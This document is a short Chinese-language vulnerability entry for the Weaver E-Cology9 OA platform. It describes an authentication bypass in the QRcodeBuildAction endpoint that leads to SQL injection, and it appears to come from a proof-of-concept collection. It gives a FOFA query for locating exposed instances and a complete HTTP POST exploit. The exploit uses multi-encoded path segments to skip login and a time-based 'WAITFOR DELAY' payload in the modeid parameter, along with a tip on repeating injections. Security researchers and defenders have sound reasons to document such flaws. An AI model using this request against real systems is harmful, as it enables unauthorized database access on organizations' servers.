# 泛微E-Cology9平台QRcodeBuildAction存在身份认证绕过导致SQL注入漏洞
|
||
|
||
由于泛微E-Cology9 weaver.formmode.servelt.QRcodeBuildAction接口未对用户传入的数据进行严格的校验和过滤，导致攻击者利用多层编码的方式绕过身份认证进行SQL注入。
|
||
|
||
## fofa
|
||
|
||
```javascript
|
||
app="泛微-OA（e-cology）"
|
||
```
|
||
|
||
## poc
|
||
|
||
注入点为modeid并且每注入一次就需要更换参数值
|
||
|
||
```javascript
|
||
POST /weaver/weaver.formmode.servelt.QRcodeBuildAction/login/LoginSSO.%25%36%61%25%37%33%25%37%30 HTTP/1.1
|
||
Host:

||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
|
||
Content-Type: application/x-www-form-urlencoded
|

Connection: close
|
||
|
||
modeid=127+WAITFOR+DELAY+'0%3a0%3a5'
|

```
